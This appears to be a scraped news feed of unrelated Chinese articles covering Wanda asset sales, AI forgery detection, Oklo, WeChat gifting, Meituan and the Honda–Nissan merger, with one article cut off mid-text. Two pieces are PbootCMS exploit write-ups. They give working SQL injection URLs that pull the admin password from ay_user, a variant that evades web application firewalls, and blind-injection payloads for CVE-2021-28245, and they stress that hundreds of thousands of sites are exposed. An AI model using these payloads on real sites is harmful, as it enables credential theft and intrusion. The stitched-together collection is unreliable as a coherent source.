万达旗下资产再被交易。 天眼查APP显示，12月26日，大连万达旗下的银川金凤区万达广场置业有限公司发生工商变更，大连万达商业管理集团股份有限公司从股东名单中退出，坤华（天津）股权投资合伙企业（有限合伙）接手，成为银川金凤区万达广场的唯一股东。  银川金凤区万达广场工商变更信息 坤华（天津）股权投资合伙企业（有限合伙）为新华人寿保险股份有限公司（以下简称“新华保险”）和中金资本运营有限公司合资成立，其中新华保险股权占比为99.9%。  坤华（天津）股权结构 今年以来，新华保险已经将7座万达广场收入囊中： - 银川金凤区万达广场置业有限公司：12月26日，原股东大连万达商业管理集团股份有限公司退出，新华保险旗下坤华（天津）股权投资合伙企业（有限合伙）出资100%成为唯一股东。 - 晋江万达广场有限公司：12月18日，原股东大连万达商业管理集团股份有限公司退出，新增坤华（天津）股权投资合伙企业（有限合伙）为股东。 - 赤峰万达广场有限公司：12月17日，原股东大连万达商业管理集团股份有限公司退出，新增坤华（天津）股权投资合伙企业（有限合伙）为股东。 - 成都万达商业广场投资公司：10月16日，坤华（天津）股权投资合伙企业（有限合伙）受让成都万达商业广场投资有限公司100%的股权。 - 南京万达茂投资公司：9月19日，坤华（天津）股权投资合伙企业（有限合伙）接盘南京万达茂投资有限公司100%的股权。 - 烟台芝罘万达广场公司：7月1日，坤华（天津）股权投资合伙企业（有限合伙）入股烟台芝罘万达广场有限公司100%的股权。 - 北京万达广场实业公司：4月9日，坤华（天津）股权投资合伙企业（有限合伙）受让北京万达广场实业有限公司100%的股权。 以上7座万达广场合计认缴出资额约30.17亿元。 天眼查信息显示，坤华（天津）股权投资合伙企业（有限合伙）注册成立时间为2023年12月14日，成立至今对外投资7次，均为收购万达系资产。  坤华（天津）对外投资信息

近日，中国合格评定国家认可委员会（CNAS）秘书处发布《关于组织开展人工智能伪造图像鉴定能力验证计划的通知》，邀请从事AI伪造图像检验检测鉴定的执法机构、有关检验检测机构和从事AI伪造图像检测鉴定研究的企事业单位参加相关鉴定能力的验证，以促进人工智能（AI）安全治理行业技术发展，加强各相关机构对AI伪造图像检验鉴定的质量管理，建立不同图像鉴定方法/系统的有效性和可比性。、  作为网络空间安全与社会治理领域国家队，国投智能2017年成立AI研发中心，为了应对利用人工智能技术可能带来的安全问题，2019年针对深度合成技术又特别成立专项研究团队，2024年公司还提出了“All in AI”战略，用AI技术全面赋能产品。通过对深度合成和生成式AI技术的深入研究以及在人工智能安全方向的经验积累，公司AI团队自主研发深度伪造视频图像检测鉴定的核心引擎，推出了AI-3300慧眼视频图像鉴真工作站、人工智能大模型内容检测平台、“美亚内容鉴真平台”微信小程序等，全面支持人工智能生成视频图像、音频和文本等多媒体内容的检测溯源。 其中，**AI-3300慧眼视频图像鉴真工作站**是一款以人工智能技术为核心的视频图像检验鉴定设备，具有智能鉴定和专业鉴定两种鉴定模式，涵盖40余种鉴定算法，近10种深伪鉴定算法，针对ps篡改，深伪合成，AI生成的视频图像进行检测鉴定，支持卷宗管理和报告生成，为鉴定人员提供一站式视频图像检验鉴定服务。并且符合GA／T1021-2013《视频图像原始性检验技术规范》、GA／T 1022-2013《视频图像真实性检验技术规范》、SF/T 0119-2021《声像资料鉴定通用规范》、SF/T 0153—2023《图片真实性鉴定技术规范》、SF/T 0148-2023《合成人脸图像鉴定技术规范》等视频图像真实性、原始性、合成人脸检验鉴定技术规范标准，可有效支持本次人工智能伪造图像鉴定能力验证的要求。  AI-3300慧眼视频图像鉴真工作站 **“美亚内容鉴真平台”微信小程序**是国投智能全资子公司美亚柏科研发的一款针对AI合成、生成的图像、视频、文本等虚假信息的检测小工具，致力于帮助用户查证信息的准确性。目前支持ChatGPT、ChatGLM、Qwen、Moss等13种国内外主流大模型产品生成文本的检测；支持Stable-Diffusion、Midjourney、DALLE、FLUX等30余种主流算法生成图像的检测；支持Sora、Open-Sora、Runway Gen-2等10余种主流算法生成视频的检测；支持DeepfaceLab、FOMM、Wav2Lib等40余种主流AI合成算法所合成的图像和视频的检测。  国投智能将持续聚焦生成式人工智能和AI生成内容的检测识别技术，踔厉奋发，持续发力，按照相关管理要求，针对深度合成生成文本、视频、图像的检测鉴定技术、生成式人工智能技术、人工智能安全取证技术等方面的应用需求，不断打磨推出更为安全、可信、可靠的人工智能技术产品，为打击利用人工智能的新型涉网犯罪，提供有力的技术武器，为维护和保障人工智能的健康发展和规范应用贡献力量！

## 0x01前言 在前一篇文章中介绍了一个仍然可以用于最新版PbootCMS的老漏洞DVB-2021-2510,并对漏洞流程进行分析，给出了在有限条件下利用漏洞的方式。 本文将在前一篇文章的基础上继续给出新的PbootCMS SQL注入漏洞，并对利用方式进行更深入的探讨。 ## 0x02漏洞分析 由于PbootCMS使用了模板的方法来组合产品页面内容，为了支持可扩展性，支持非常复杂的语法，对基础内容想了解的可以先看文章https://xz.aliyun.com/t/14090。 apps/home/controller/TagController.php文件中，会把外部传入的数据get(&#39;tag&#39;)替换模板文件中的内容。  图 1 这里的get(&#39;tag&#39;)和上一篇文章中的request($key, &#39;vars&#39;)有一个很大的区别是没有第二个参数，我们跟进get方法，看一下没有第二个参数的传值有哪些限制。  图 2 如果没有传入第二个参数，默认值为null。跟进filter方法，可以看出在filter对类型和数据的安全检查中，第二个参数为null并不会命中任何一个条件判断，也就是不会对数据值进行任何限制。这里因为$condition[&#39;d_type&#39;]为null也不会因此而报错。  图 3 虽然数据类型检测，但是filter方法中仍然有对其值的过滤方式，会替换很多标签相关的内容。这里需要重点标记一下，因为后面的SQL注入要用到这里过滤不完整的标签。  图 4 回到图1的代码中，外部传入的get(&#39;tag&#39;)经过方法parserPositionLabel会替换模板文件中的部分内容，跟进parserPositionLabel方法。  图 5 这里外部传入的数据变成了变量$link，并且经过替换之后响应到页面的<a>标签的href属性中。这里假设我们传入了{pboot:xxx}，只要不在图4禁止的pboot标签中，则可能导致标签注入。pboot支持的标签有很多，具体要用哪个标签来达到漏洞利用的效果，还需要继续往下面跟进。</a> 在图1的代码中继续往下，跟进parserAfter方法，这个方法中会解析大多数pboot标签。  图 6 我们这里用到的是parserListLabel方法，这个方法的主要作用是解析数据列表，至于是不是还有其它的方法也可以利用，小伙伴可以自行探索。继续跟进parserListLabel方法。  图 7 如果我们传入的get(&#39;tag&#39;)的值中包含了{pboot:list}标签，则会按照parserListLabel方法中的解析逻辑对其中的值进行正则提取，并保存到变量$params中。具体parserParam的函数我就不跟了，其实就是简单的正则提取，我们继续往下跟进$params变量的处理逻辑。  图 8 当$params的键名是filter时，也就是外部传入的参数为{pboot:list filter=xxx [list:link link=asd]{/pboot:list}。会把xxxx设置为变量$filter的值，继续跟下面的调用逻辑。  图9 按照｜对$filter进行切割之后，其中$filter[0]会直接拼接到$where1数组的值中，从这里已经可以看出来似乎进行了SQL语句的可控拼接。继续往下看一下$where1变量的调用逻辑。  图10 和上一篇文章的逻辑相似，上一篇文章的注入点在getList方法的参数$where3，这次的注入在参数$where1。跟进getList方法。  图11 外部传入的$where1变量会直接进入where方法中，从图9可以看出这里的filter时一个数组，并且其键名为数字。  图12 这也就导致了SQL注入漏洞。 ## 0x03漏洞利用 从本质上来说此漏洞的漏洞利用要比上一篇文章的利用简单，因为这里不涉及对特殊字符的限制，而且这里有回显可以进行联合注入。在本地搭建的演示环境中进行测试，利用下面的payload查询ay_user表第一个用户的密码字段 <blockquote><p>http://localhost:8890/PbootCMS329?tag=xxx:%7bpboot%3alist%20filter%3d1%3d2%29UNION%2f%2a%2a%2fSELECT%2f%2a%2a%2f1,2,3,4,5,(select/**/password/**/from/**/ay_user/**/limit/**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%2f%2a%2a%2f%23%2f%2a%2a%2f%7c123%20scode%3d123%7d%5blist%3alink%20link%3dasd%5d%7b%2fpboot%3alist%7d</p></blockquote> 查看源代码，会在如下位置回显对应的结果信息  图13 这里面有几个注意点是需要说明的 1）payload不允许用空格，因为在图7解析{pboot:list}标签时调用的parserParam方法按照空格进行截断，如下所示。  图14 2)  注释符问题。对于mysql数据库，这里只能使用#单行注释，而不能使用--单行注释；对于sqlite数据库，这里只能使用--单行注释，而不能使用#单行注释。这主要还是空格的原因，我通过下面一张表来说明这个小技巧。 <table><tbody><tr><td> 语句 </td><td> 数据库 </td><td> 备注 </td></tr><tr><td> select 1 --a </td><td> mysql </td><td> 语法错误，--后面必须有空白字符 </td></tr><tr><td> select 1 --/**/a </td><td> mysql </td><td> 语法错误，--后面必须有空白字符 </td></tr><tr><td> select 1 -- a </td><td> mysql </td><td> 语法正确 </td></tr><tr><td> select 1 #a </td><td> mysql </td><td> 语法正确 </td></tr><tr><td> select 1 # a </td><td> mysql </td><td> 语法正确 </td></tr><tr><td> select 1 --a </td><td> sqlite </td><td> 语法正确，--后面可以没有空格 </td></tr><tr><td> select 1 -- a </td><td> sqlite </td><td> 语法正确 </td></tr><tr><td> select 1 #a </td><td> sqlite </td><td> 语法错误，不支持#注释 </td></tr><tr><td> select 1 # a </td><td> sqlite </td><td> 语法错误，不支持#注释 </td></tr></tbody></table> 因为PbootCMS的payload不允许使用空格，所以造成了一个很奇怪的结论。 3) 在实网环境下，不同的站点union select的函数是不一样的，要基于实际情况进行调整。 虽然我们现在已经能完全的对目标进行注入（包括mysql和sqlite两种数据库），而且是有回显的联合查询，但是当前的payload特征非常明显，极易被WAF查杀。有没有某种绕过WAF的方式呢？ 当然是有的，PbootCMS有复杂的模板替换逻辑，只要找一个字符串替换为空的操作，然后在关键字中一直插入干扰字符，就可以轻易绕过WAF，如果你现在倒回去看一下图4，你就会发现x3e｜x3c会是一个不错的选择，例如你可以使用使用下面的payload <blockquote><p>http://localhost:8890/PbootCMS329?tag=xxx:%7bpboot%3alist%20filter%3d1%3d2%29UNIx3eON%2fx3e%2a%2a%2fSELx3eECT%2fx3e%2a%2a%2f1,2,3,4,5,(selx3eect/**/pax3essword/**/frx3eom/x3e**/ay_user/**/lix3emit/x3e**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%2f%2a%2a%2f%23%2f%2a%2a%2f%7c123%20scode%3d123%7d%5blist%3alink%20link%3dasd%5d%7b%2fpboot%3alist%7d</p></blockquote> ## 0x04 结论 当前我们已经能无限制的对PbootCMS进行SQL注入了，有超过30W的互联网案例都受此漏洞影响。我认为这是2024最好用的漏洞，你觉得呢？ [原文链接](https://mp.weixin.qq.com/s/ZPYwrPyw_W_cEBVsm_McTw)

**0x01 前言** PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统，是一套高效、简洁、 强悍的可免费商用的PHP CMS源码，能够满足各类企业网站开发建设的需要。系统采用简单到想哭的模板标签，只要懂HTML就可快速开发企业网站。官方提供了大量网站模板免费下载和使用，将致力于为广大开发者和企业提供最佳的网站开发建设解决方案。 PbootCMS在国内有非常大的客户使用量，属于国内最流行的企业官网建站程序。截止本文发出前，其github最新版本为V3.2.9。通过互联网资产测绘平台搜索指纹header=&#34;PbootCMS&#34;，搜索结果有超过34W+互联网案例。  在最新版的PbootCMS V3.2.9中存在前台未授权SQL注入漏洞，攻击者可以通过此漏洞读取系统数据库中的敏感信息，包括后台用户的用户名和密码。 **0x02 漏洞分析** 之前因为某任务进行批量任务扫描时发现很多目标都在报DVB-2021-2510漏洞，其POC大致如下，返回数据匹配到your SQL syntax或syntax error。 <pre><code>POST /index.php?p=search</code><code><br/></code><code>1=select</code></pre> 此漏洞是很早以前已经曝出的安全漏洞，对应CVE编号为CVE-2021-28245，但是最大的问题是我在最新版本的V3.2.9上测试仍然存在此漏洞。也就是官网一直都没有修这个漏洞，如下图所示。  由于ddpoc上面的这个脚本主要做poc探测和验证，并不带直接的漏洞利用，需要跟踪源码分析漏洞逻辑。跟踪到漏洞对应的文件apps/home/controller/SearchController.php。  PbootCMS有一套复杂的模版替换的逻辑，其中模板替换分成多个步骤，在SearchController类中会通过parserSearchLable方法对模板内容进行解析，跟踪parserSearchLable方法。parserSearchLable方法逻辑很复杂，我直接定位到最关键的部分如下。  其中$receive来自于外部输入，遍历$receive变量，会生成新的数组$where3。$where3是后期漏洞利用的关键，但是这里先关注$value = request($key, &#39;vars&#39;)，看一下这里对数据的过滤逻辑。跟进request方法。  跟进filter方法，如下图所示，当传入的d_type(也就是request方法的第二个参数)为vars时，只能包含中文、字母、数字、横线、点、逗号、空格！。而这也为后面的SQL注入的利用埋下了伏笔。  回到刚才提到的$where3变量，$where3变量会传入getList方法。  继续跟进getList方法，传入的$where3传入到变量$select。  跟进变量$select，如下图所示，可以看到其中的$select传入了where方法，这个方法是用于组合SQL语句的查询条件。  继续跟进where方法，如下图所示。当$key也就是传入的数据是一个整数时，会直接拼接$value的值，导致SQL注入漏洞。这里为什么不用$key来注入呢？因为$key前面的图里面有限制，只能输入\w\-\.，不允许空格和特殊字符导致无法直接利用此注入点。  **0x03 漏洞利用** 漏洞的整个流程已经梳理清楚了，下一步就是漏洞如何利用的问题了。这里由于request($key, &#39;vars&#39;)限制导致不能使用特殊字符。不能使用括号、单引号、注释和逗号会极大的限制整个漏洞的利用方式。 为方便大家直观看到SQL语句效果，我临时把SQL语句打印出来，如下图所示，大致是直接在括号中拼接SQL语句。  只能使用\w和空格的注入，极大的限制了注入点的利用，但是仍然可以通过BOOL盲注的方式来达到注入的效果。 1)  使用下面的payload访问目标，显示有搜索结果 1=select 1 from ay_user where username like 0x6125 limit 1  2）使用下面的payload访问目标，显示无搜索结果 1=select 1 from ay_user where username like 0x6225 limit 1  由此可以证明目标站点ay_user（管理员用户表）第一个用户的username的第一个字母是a（第一个用户默认一般是admin）。 这里很巧妙的使用mysql的like语句支持16进制编码的特性来避免使用其它特殊字符，但是整个利用过程还是有下面的注意点： 1）仅支持PbootCMS安装选择mysql数据库的网站，PbootCMS默认情况下使用的是sqlite数据库，如果是sqlite数据库，暂时不知道如何在不引入特殊字符的情况下进行注入。 2）因为不能使用逗号，所以不能通过limit 1,1这样的方式来注第二个用户，但是可以通过增加条件的方式来进行注入，例如下面的payload 1=select 1 from ay_user where username like 0x25 and username not like 0x61646d696e25 limit 1 **0****x04 结论** DVB-2021-2510（CVE-2021-28245）是一个很好的漏洞，互联网案例足够多，影响大。这是一个经典的有条件的SQL注入漏洞，值得小伙伴们学习研究。 _在下一篇文章中，作者会带来PbootCMS更多有意思的漏洞和利用方式。_ [原文链接](https://mp.weixin.qq.com/s/0PpRUpUDUQlJHWM-qa4cyw?token=1275718495&amp;lang=zh_CN)

相对高通骁龙7系列的0存在感，天玑8000系列处理器，已经成为联发科重要的“基本盘”。

山姆·阿尔特曼（Sam Altman）的核能公司Oklo宣布了一项重大合作进展，Oklo在12月18日与美国数据中心巨头Switch签署了初步的非约束性协议，标志着清洁能源领域的一次重大合作。  依据协议条款，Oklo规划在未来二十年间，开发、构建并运营总计高达12吉瓦（GW）容量的Aurora微型核电站群。这些先进的核电站将专供Switch遍布全美的数据中心使用，满足其持续膨胀的能源需求，同时引领数据中心向绿色、可持续的能源转型。 Oklo的Aurora微反应堆技术以其独特的设计理念脱颖而出，该技术融合了金属燃料与液态金属冷却系统，属于前沿的快中子增殖反应堆技术范畴。 这一创新不仅支持传统核燃料的高效利用，更开创性地实现了对废弃核燃料的再利用，显著提升了资源的使用效率与环保价值。Oklo的目标是在2030年之前，成功上线其首座核电站。 奥特曼曾表示，未来人工智能需要能源突破，因为人工智能消耗的电力将远远超出人们的预期。特别是核聚变或更便宜的太阳能和存储，是人工智能未来的重要发展方向。 [查看评论](https://m.cnbeta.com.tw/comment/1466432.htm)

微信再掏&#34;新法宝&#34;，又有一群&#34;鸡犬升天&#34;。12月24日，受益于微信小店推出&#34;送礼物&#34;功能的灰度测试，微盟集团股价在近四个交易日内累计涨幅接近100%，多家腾讯概念股也集体走强，纷纷走出一波新行情。该消息带来的效应远不止于腾讯概念。来伊份、线上线下、三只松鼠纷纷大涨，实益达更是四连板，股价累计涨幅46.62%。 此前，12月17日，微信小店运营团队在官方公众号上发布&#34;微信小店‘送礼物’使用指南&#34;，宣告腾讯在电商板块新一轮的尝试开启。 微信此时推出&#34;送礼物&#34;功能，能给用户和商家带来什么不一样的？新识研究所了解了部分商家和用户对于微信&#34;送礼物&#34;的看法，并试图解读微信送礼物将对市场和腾讯带来什么效果。 一：商家需要送礼物这样的新刺激，用户说鸡肋 从股价可以看出，微信送礼物功能的推出，对于B端特别是零售业来说，市场的解读都是大利好。 以就此狂奔的来伊份为例。微信送礼物在技术难度上对于企业没有障碍，腾讯后台加插件即可，企业无需做高技术含量开发。日常送礼物的单价主要在50- 100元之间，尽管百元以上产品也可实现送礼物功能，但量相对较小。休闲零食客单价低较适合，有品牌影响力的产品传播快、频率高。 数据显示，来伊份拥有7000万私域会员，而私域销售占总销售的30% - 40%，此外，来伊份符合送礼物功能企业的三个标准，即有私域流量运营基础、产品匹配社交属性和小额支付、具备数字化能力。  图源：微信&#34;送礼物&#34;功能界面 不仅连锁KA有预期，小商家也感受得到。 有教培行业的商家告诉新识研究所，很期待这个功能，&#34;体验很丝滑，也为我们商家创造了新的玩法&#34;。在他看来，此功能的推出效果，他中立偏乐观，&#34;因为我们之前也在做买赠这个场景，接下来就可以借助官方的工具进行运营了。但因为不知道政策和平台对教培行业有没有什么限制，目前我们还在观望。&#34; 和B端从功能发布一开始就充满期待不同，普通吃瓜群众和用户对微信送礼物看衰的不少，很多人认为送礼物这个功能颇为鸡肋。 小沫告诉新识研究所，在试用了一次之后，她一开始有些无法理解，&#34;送礼要的就是一份惊喜，要不然直接发红包不就好了？直接这样发，对面还知道你送的具体是多少钱的东西，多尴尬啊。&#34;但第二天爸爸联系她，想让她帮忙买个按摩椅的时候，她突然意识到，这个功能似乎让给家人买东西变得更方便了。 在她看来，&#34;我突然想到，比起‘惊喜型送礼物’和‘干脆发红包’，给长辈送礼物是不是才是这一功能的用武之地？&#34; 二：10年前旧案，微信此时推&#34;送礼物&#34;非心血来潮 很少人知道，微信很早之前就推出过&#34;送礼物&#34;原型。 2014年中秋节前夕，微信推出&#34;微信红包&#34;，掀起一股&#34;红包热&#34;，但彼时，和红包一起推出的，还有一个功能，叫做&#34;微信送心意&#34;。 该功能嵌入在微信红包内，在&#34;微信红包&#34;页面，搭配有哈根达斯、香港荣华、元祖三个品牌的五款月饼，价位介于99元至288元之间。用户可以购买一款月饼，然后推送给好友，或者散发到群里。 与如今的&#34;送礼物&#34;相比，无非是类目更少，场景更小，可以看作是如今&#34;送礼物&#34;的迷你版。彼时，由于某些不可抗力因素，此功能未能铺开，不了了之。 10年之间，互联网行业沧海桑田，尽管在其他方方面面出现了众多竞争者，但在社交上，抖音、小红书们至多只是承载了一小部分社交功能，而微信和腾讯仍然独领风骚。 实际上，在&#34;送礼物&#34;功能推出前不到一个月，即11月25日，腾讯刚刚加速了&#34;视频号小店&#34;向&#34;微信小店&#34;的升级进程，要求商家完成升级才能继续经营。此前，腾讯陆续推出了微信小店助手APP（10月）、微信小店客服工具（9月），并在8月25日正式将视频号小店升级为微信小店，加强了与公众号、视频号、搜一搜、小程序等场景的融合。 从全年来看，腾讯明显加快了电商业务的发展步伐。 年初，马化腾提出今年腾讯将重点发展电商领域。5月，微信内部进行了组织调整，将视频号直播带货团队并入微信开放平台团队，旨在更好地整合视频号直播业务到微信生态系统中。在中期业绩说明会上，腾讯总裁刘炽平重申了公司对构建微信内电商生态系统的重视。 实际上，社交电商通过社交网络实现裂变式传播，用户既是购买者也是推广者，依托于微信强大的社交关系链。相比传统的电商平台，微信具有独特的熟人社交属性。 显然，腾讯的目标不仅是简单地利用视频号进行带货，而是希望通过发挥自身的社交优势，将公众号、视频号、小程序、搜一搜等多个场景进行联动，在微信内部建立一个完整的消费环境，最大化利用其用户基础和社交互动特性，确保商业活动和收益留在微信生态内。而&#34;送礼&#34;自然就是最符合社交和电商最大公约数的消费方式。  图源：艾媒咨询 艾媒咨询数据显示，2023年中国礼物经济用户人均年送礼次数4.9次，人均年送礼金额2340.4元。有不少商家已经表示，在考虑上线更多礼盒装产品，以迎接新功能带来的新客红利。 至于在此时推出该功能，对于处事严谨的腾讯来说，显然不是心血来潮这么简单。 三：给长辈送礼，微信要抢电商年货节一杯羹？ 对于中国人来说，春节的意义无需多言，送礼消费最多的场景正在年货节。 根据商务部数据显示，&#34;2024年全国网上年货节&#34;中，全国网络零售额约1.2万亿元，较去年日均增长近9%。 而在2024年的年货节开启时，年轻人已经逐渐从父母手中接过年货采买权。快手数据显示&#34;90后&#34;、&#34;00后&#34;占到平台新电商买家的51%。阿里数据显示，在2024年年货节的购物大潮中，90后和95后已经成为核心购买力量，成交人数占比达到了42%，在消费能力和购买决策的成熟度上均居于顶端。  图源：时代周报 而在&#34;年货打算送给谁&#34;的调查里从人群来看，购买年货孝敬父母的占八成。 在走访中，新识研究所发现，由于微信小店转型刚刚完成，还有许多人对其印象停留在视频号小店。 很多人对视频号小店最深的印象是，家里老人喜欢在上面买东西，&#34;我妈天天看视频号直播乱买，老被骗，找客服也不行，被骗了又跟我抱怨，不让买还买&#34;，&#34;我妈也在视频号乱买，我直接把他视频号关了&#34;…… 微信的用户群体虽然年龄层很广泛，但是微信视频号的用户和视频号购物的人群年龄层却偏大。 据Gangtise投研，专家表示，微信视频号的主要用户为40至60岁、来自一二三线城市的女性，这群用户在抖音和淘宝上的活跃度较低，但对微信电商构成了新的增长点，且具有较强的消费能力。2022年的数据显示，视频号上46岁以上用户占比达到了19.4%，而这两年，短视频平台在老年群体中的持续渗透有目共睹。 如今，推出&#34;送礼物&#34;，则是直接将交易链路缩短留在微信聊天界面中，将购物交易决策权从老年人转移到年轻人手里，成为微信一次难得地展示自身电商能力的机会。减少对外营销成本的同时，也提高了微信自身电商的转化率，可谓是真正的&#34;肥水不流外人田&#34;。 在今年电商圈内卷被提及无数次的情况下，作为罕见的既有用户基础，又有可操作的商业逻辑，还有可预见的消费场景的平台，微信或许无法重现10年前的全民&#34;红包热&#34;辉煌，但将此作为自身新一年电商业务的锚点，释放微信生态内的消费潜力，或许是可以期待的。 [查看评论](https://m.cnbeta.com.tw/comment/1466426.htm)

12月26日晚，美团发布了一份关于治理“骑手注册个体工商户”问题的情况说明，披露了从2021年以来，公司在治理相关问题方面的措施和成果。根据情况说明，2021年7月以来，美团按照人社部等八部门共同印发的《关于维护新就业形态劳动者劳动保障权益的指导意见》部署，开始对相关问题进行治理。  2021年9月开始，美团向内外部发文“严禁诱导和强迫劳动者注册为个体工商户以规避用工责任”相关行为，明确了相关问题的治理措施，同步开始进行治理行动。 三年来，美团已在内部开展多次专项治理行动，严抓合作商管理机制，规范依法合规用工，清退不合规合作。截至2022年底，针对骑手注册个体工商户的违规情况，美团已完成相关整改，目前正在进行常态监测治理中。 其中，典型案例包括：2022年5月，美团关注到外界反馈“X市美团外卖骑手被要求集体办理营业执照”的线索。核实情况后，投诉至相关监管部门，协助骑手撤销了相应电子备案。 结合此案例，美团向合作商再次重申依法合规用工要求，结合违规合作商的行为，制定了月度考核机制，并考核合作商服务方案、政策文件等，进一步核验确认其业务模式。 美团表示，公司已将“合法合规经营，切实保障骑手合法权益”列为美团日常业务运营的基石。未来将继续通过抽查、周期检查等方式，对骑手反馈的各类问题进行核验与改进，以完善骑手社会保障。 [查看评论](https://m.cnbeta.com.tw/comment/1466424.htm)

“这可能是2024年乃至近几年最大的汽车新闻。”说到本田与日产正在推进的日本汽车制造业史上最大的整合事件，目标2026年8月于东京证券交易所上市，公社内部的讨论达成了共识。   本田和日产、三菱合并，显示出日本汽车企业出于自身的经营危机，面对全球汽车产业格局历经深刻变革之际，抱团携手应对来自特斯拉、中国汽车企业等新兴势力激烈竞争的决心。特别是在富士康的“神助攻”之下，“进度条”开始倍速。 因为整合涉及业务、技术、采购多领域的协同，降本增效、提升全球竞争力到TOP3的目标也比较宏大，整合的难度可想而知。 而我们最关心的，当然是本田和日产在技术方面将如何来整合，在文中做一些推演。毕竟，双方在市场和技术重叠、原有合作关系处理上难题不少，整合效果有待时间与市场的严苛检验。 **混动还得是本田** 本田和日产合并，会不会是另外一个“失败者联盟”？我们且不论，先来探讨下双方在技术上整合的可能性，以及追赶特斯拉和中国车企的智能电动化还有多大差距。  按照目前的测算，以2023年的销量为计算基础，整合后的本田-日产-三菱集团汽车年销量813万辆，算下来可以跃升为全球第三大制造商。这个数字还是相当诱人的。 同时，本田与日产的整合，也是日本政府主导的，丰田体系之外应对全球竞争格局骤变的主动求变之举。本田在混动技术、日产在电动技术的深厚积累将是两家公司在新能源车市场中的核心竞争力。 技术方面，日产在电动车量产上经验颇丰，从聆风到现在的Ariya艾睿雅。而本田则在下一代混动与电动车开发上快速发力，理想的状态下，两者的技术如能顺利融合，则有望缩短研发周期、节约研发开支，实现规模效应。 所以，如何技术共享成为此次整合的关键，特别是软件开发、电气化技术方面。这里，我们看一下对标丰田的本田、日产和三菱官宣备忘录中，列出的三条思路：  ·整合双方的技术优势，在智能化与电动化领域实现技术共享，以加速电动车和智能网联汽车的发展； ·通过更紧密的合作，优化研发、生产和供应链管理，实现资源的共享与优化； ·联合开发产品并探索新兴市场，为更多客户提供多样化选择，以形成市场协同效应。 混动技术方面，本田的i-MMD技术已经迭代到第四代，并且算起来本田是有四套混动系统的，包括本田IMA混合动力系统、i-DCD混合动力系统、i-MMD双电机混合动力系统和SH-AWD混合动力系统。 其中，本田在IMA之后同时发布后三种混合动力技术路线，分别适配小型车、中型车和大型车，可以看作是一套系统的三个版本。  众所周知，本田的第一代IMA（Integrated Motor Assist，整体式电机辅助）混合动力系统是1997年开发出的。1999年，搭载第一代IMA系统的本田Insight上市，至今已发展到第六代IMA。IMA是典型的并联式混动系统，是单P2电机的混动系统。 而本田i-MMD（Intelligent Multi Mode Drive，智能化多模式驱动）混动系统是最为中国市场所熟知的P1+P3双电机混动系统。 这套系统搭载2.0L阿特金森循环双顶置凸轮轴可变气门（DOHC i-VTEC）汽油发动机和高功率双电机（电CVT），可以在电动、混合动力、发动机三种驱动模式之间平顺切换，节能优势突出，实现了同级别全球最高水平的燃油经济性，并且加速迅敏，具备卓越的运动性能。 本田i-DCD混动系统定位于小型车和紧凑型车，实际上就是一个单电机外加DCT的P3混合动力系统。SH-AWD混动系统不用多说，相当于在i-MMD的基础上增加了电子四驱、能量回收等工作模式。  尽管从分类上看属于HEV（油电混动），但其实本田的i-MMD混动系统属于典型的机电一体式系统。相比较而言，日产的e-POWER系统分类上属于PHEV，但实际上逻辑上属于传统意义上的增程式系统，属于电机优先型。 不过，i-MMD和日产的e-POWER都有个共同的特点，就是“小电池”。电池方面不强，不像国产车型的“大电池+长续航”模式，当然，这也是由于开发理念的差异，日系车企都更注重整套系统的实际综合能耗表现，而非单项数据。这是本田和日产需要后面加强本土化研发的。 有的媒体也讲，本田和日产的混动技术方案改革，第一刀就该砍掉“小电池”策略，并做到CTC电池底盘一体化，在不侵占座舱空间的前提下，支持大容量电池包上车。这个想法，没毛病。  不过，本田混动技术方面强悍，日产也不是没有拿手的。比如，i-MMD系统如果引入日产的后轴P4电机，可用于性能取向的车型，也可用于越野取向的车款，毕竟，后轴P4电机的应用已经在国产车型上铺开了。 反过来，日产方面完全可以依赖本田的i-MMD系统来改造自己的产品。比如，直接用本田的LFB混动专用发动机替掉日产现有小排量可变压缩比发动机，将e-POWER的增程系统增强。从技术层面来看，其实是可以实现的。 理想状态下，双方实现混动系统的“1+1＞2”的技术融合后，未来双方在混动车型的丰富度上会实现爆炸式的提升。这样，两家的产品都可以覆盖从高性能车、高性能越野车、各种尺寸的家用车，以及豪华车及极端的节能型车型等所有类别。 当然，不管正向反向，技术融合的速度还是得加快吧？否则，本田和日产依旧磨磨叽叽，那“黄花菜都凉了”。现在不是德川家康时代，可以“熬”死对手，如今弄不好就把自己熬没了。 **电动化靠日产** 纯电动方面，日产倒是比本田有先发优势。从聆风到艾睿雅，日产这方面的技术经验相当深厚。  比如，作为日产的集大成之作，基于云图专业纯电平台打造的ARIYA艾睿雅，全系搭载e-4ORCE雪狐电四驱系统和90KWh动力电池，电池能量密度达155.8Wh/kg。此外，ARIYA艾睿雅号称传承“210亿公里电池0重大安全事故”的品质口碑，就是从聆风时代开始的。 而今年，本田终于发布新开发的纯电动车专属平台，该平台采用2.0GPa级热冲压材料（超高张力钢板），薄型电池PACK和新开发的小型e-Axle，并利用Honda的低地板技术，将重型部件置于车辆中心的低位，实现低重心和低惯性。国内，基于该平台的灵悉和烨品牌的车型都已经发布，包括最新的烨S7和烨P7。 出来晚不说，“（本田的电动方面）部分技术行，产品不行。”业内人士如是表示。再加上，电动化方面，本田的既定方针是到2040年所有新车均为纯电动汽车（EV）和燃料电池车，这方面，日产的纯电动技术肯定是用得上的。  当然，从技术上来说，日产距离特斯拉和目前国内顶尖水平还是有距离的。就像公社文章《》中所写，“日产纯电动车底层技术不错，产品化经验也相对丰富，从聆风到艾睿雅，硬实力都可圈可点。但是特斯拉嫁接智能化给纯电动开辟了另一个赛道，中国新势力迅速跟进。故而日产纯电动只能慢慢起量，而特斯拉和中国新势力可以爆发增长。” 而且，日产现在电动化后续乏力。所以，本田和日产整合后，还面临电气化技术的研发与技术协同等一系列问题。双方整合后要追平与特斯拉、比亚迪的差距，必然要加码投入，如何联合开发电动车平台、电池技术和车载软件系统等等。 特别是电池技术研发。本田和日产需要投入重金钻研高性能、长续航且安全可靠的电池技术，包括固态电池等，以降低对外部电池供应商的依赖。值得注意的是，双方都已在国内组建了有规模的纯电动力系统及电池技术研发团队。  只是，日产原有电池业务AESC卖给了中国远景集团，技术也无法与宁德时代、比亚迪抗衡。本田和LG的电池合作，恐怕也弱了点。还有，对应的电控能否开发到位？ 